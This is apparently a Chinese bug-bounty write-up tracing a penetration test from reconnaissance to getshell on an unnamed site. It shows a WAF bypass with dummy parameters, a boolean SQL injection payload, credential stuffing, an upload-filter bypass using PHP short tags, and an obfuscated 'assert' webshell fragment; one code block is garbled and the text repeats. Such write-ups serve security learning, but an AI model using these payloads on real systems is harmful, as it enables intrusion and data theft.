一次挖掘SRC漏洞 - 从0到有
字数 1563 2025-08-20 18:17:47

SRC漏洞挖掘实战:从信息搜集到Getshell的完整过程

1. 信息搜集与目标选择

  • 目标选择策略:主站 vs 子域名
    • 子域名通常防护较弱,但奖金相同
    • 作者选择直接测试主站A.com
  • 工具使用
    • Layer子域名扫描工具
    • 主站测试优先于子域名扫描

2. 初步测试:搜索框漏洞探测

2.1 SQL注入测试

  • 输入1'测试单引号过滤
    • 返回1而非1' → 可能全局过滤单引号
  • 测试思路:
    1. 寻找int类型注入点
    2. 利用全局过滤特性绕过WAF(如se'l'e'c'tselect

2.2 XSS测试

  • 发现搜索框过滤XSS
  • 确认非全局单引号过滤

3. WAF识别与绕过

3.1 WAF类型识别

  • 测试方法:输入?x=1 union select
    • 被拦截 → 硬WAF(流量拦截)
  • 发现WAF特性:
    • 不处理注释内容
    • 智能型WAF

3.2 WAF绕过技术

  • 使用虚假参数构造请求:
    a=/&id=真实参数&b=/
    
    • 程序只接收id参数
    • WAF被成功绕过

4. 目录扫描与敏感路径发现

4.1 扫描策略

  • 使用Burp Suite扫描(避免被封IP)
  • 关注状态码:302、403、200
  • 发现异常目录/tz

4.2 方法名Fuzz

  • URL结构分析:路径后跟方法名
  • 使用字典:https://github.com/TheKingOfDuck/fuzzDicts
  • 发现add方法

5. 参数Fuzz与SQL注入发现

5.1 参数构造过程

  1. username=1 → 提示"真实姓名不能为空"
  2. 尝试realname=1 → 仍提示相同
  3. 测试"真实姓名"英文翻译 → realname
  4. 身份证参数猜测:
    • 尝试idcard → 失败
    • 尝试拼音sfz=1 → 失败
    • 改为sfzh=1 → 成功

5.2 SQL注入确认

  • 返回"用户名1已存在" → 数据库交互
  • 测试单引号username=1' → 报错
  • 构造Payload:
    a=/&username=1' and 1='1&realname=1&sfzh=111'&b=/
    
    • 1=1 → 正常返回
    • 1=2 → 异常返回 → 确认SQL注入

5.3 数据库类型识别

  • 初始误判为HQL注入
  • 通过and user='1'测试 → 发现dbo用户 → MSSQL数据库
  • 确认MSSQL报错注入可行

6. 后台渗透与文件上传漏洞

6.1 后台登录

  • 通过SQL注入获取账号密码
  • 跨平台撞库成功

6.2 文件上传绕过

  1. 后缀名绕过

    • 上传jpg文件 → 抓包改后缀
    • 换行绕过WAF检测
  2. 内容检测绕过

    • 直接<?php被拦截
    • 使用短标签<?=phpinfo()?>成功
    • 确认PHP版本5.6
  3. 代码执行构造

    • 关键字过滤绕过:
      $a='a'.'s'.'sert';
      
    • 传参方式被拦截 → 使用foreach伪全局:
      foreach ($_GET as $key=>$value){
      
      

\[key=$value; } $a($key); // 相当于assert($_GET['key']) ``` - 最终获取Webshell ## 7. 关键技巧总结 1. **WAF绕过**: - 利用注释和虚假参数 - 智能WAF的特性利用 2. **参数Fuzz**: - 中英文参数名尝试 - 拼音参数名猜测 3. **数据库识别**: - 通过系统用户判断数据库类型 - 报错信息分析 4. **文件上传绕过**: - 短标签利用 - 字符串拼接绕过关键字检测 - `foreach`伪全局变量技巧 5. **整体思路**: - 从表面功能点深入 - 每个异常响应都可能是突破口 - 保持耐心,逐步测试每个可能性 ## 8. 工具与资源 1. 子域名扫描:Layer 2. 目录扫描:Burp Suite 3. Fuzz字典:https://github.com/TheKingOfDuck/fuzzDicts 4. HQL注入测试:hqlmap(虽然本次未成功使用) ## 9. 防御建议 1. 对用户输入严格过滤 2. 避免使用拼音作为参数名 3. 文件上传应检测内容和后缀 4. 关键操作增加二次验证 5. 错误信息统一化,避免泄露系统细节 通过这个案例,展示了从信息搜集到最终获取系统权限的完整渗透测试过程,每个步骤都包含了详细的技术细节和思考过程,是学习SRC漏洞挖掘的优秀范例。\]

SRC漏洞挖掘实战:从信息搜集到Getshell的完整过程 1. 信息搜集与目标选择 目标选择策略 :主站 vs 子域名 子域名通常防护较弱,但奖金相同 作者选择直接测试主站A.com 工具使用 : Layer子域名扫描工具 主站测试优先于子域名扫描 2. 初步测试:搜索框漏洞探测 2.1 SQL注入测试 输入 1' 测试单引号过滤 返回 1 而非 1' → 可能全局过滤单引号 测试思路: 寻找int类型注入点 利用全局过滤特性绕过WAF(如 se'l'e'c't → select ) 2.2 XSS测试 发现搜索框过滤XSS 确认非全局单引号过滤 3. WAF识别与绕过 3.1 WAF类型识别 测试方法:输入 ?x=1 union select 被拦截 → 硬WAF(流量拦截) 发现WAF特性: 不处理注释内容 智能型WAF 3.2 WAF绕过技术 使用虚假参数构造请求: 程序只接收id参数 WAF被成功绕过 4. 目录扫描与敏感路径发现 4.1 扫描策略 使用Burp Suite扫描(避免被封IP) 关注状态码:302、403、200 发现异常目录 /tz 4.2 方法名Fuzz URL结构分析:路径后跟方法名 使用字典:https://github.com/TheKingOfDuck/fuzzDicts 发现 add 方法 5. 参数Fuzz与SQL注入发现 5.1 参数构造过程 username=1 → 提示"真实姓名不能为空" 尝试 realname=1 → 仍提示相同 测试"真实姓名"英文翻译 → realname 身份证参数猜测: 尝试 idcard → 失败 尝试拼音 sfz=1 → 失败 改为 sfzh=1 → 成功 5.2 SQL注入确认 返回"用户名1已存在" → 数据库交互 测试单引号 username=1' → 报错 构造Payload: 1=1 → 正常返回 1=2 → 异常返回 → 确认SQL注入 5.3 数据库类型识别 初始误判为HQL注入 通过 and user='1' 测试 → 发现 dbo 用户 → MSSQL数据库 确认MSSQL报错注入可行 6. 后台渗透与文件上传漏洞 6.1 后台登录 通过SQL注入获取账号密码 跨平台撞库成功 6.2 文件上传绕过 后缀名绕过 : 上传jpg文件 → 抓包改后缀 换行绕过WAF检测 内容检测绕过 : 直接 <?php 被拦截 使用短标签 <?=phpinfo()?> 成功 确认PHP版本5.6 代码执行构造 : 关键字过滤绕过: 传参方式被拦截 → 使用 foreach 伪全局: 最终获取Webshell 7. 关键技巧总结 WAF绕过 : 利用注释和虚假参数 智能WAF的特性利用 参数Fuzz : 中英文参数名尝试 拼音参数名猜测 数据库识别 : 通过系统用户判断数据库类型 报错信息分析 文件上传绕过 : 短标签利用 字符串拼接绕过关键字检测 foreach 伪全局变量技巧 整体思路 : 从表面功能点深入 每个异常响应都可能是突破口 保持耐心,逐步测试每个可能性 8. 工具与资源 子域名扫描:Layer 目录扫描:Burp Suite Fuzz字典:https://github.com/TheKingOfDuck/fuzzDicts HQL注入测试:hqlmap(虽然本次未成功使用) 9. 防御建议 对用户输入严格过滤 避免使用拼音作为参数名 文件上传应检测内容和后缀 关键操作增加二次验证 错误信息统一化,避免泄露系统细节 通过这个案例,展示了从信息搜集到最终获取系统权限的完整渗透测试过程,每个步骤都包含了详细的技术细节和思考过程,是学习SRC漏洞挖掘的优秀范例。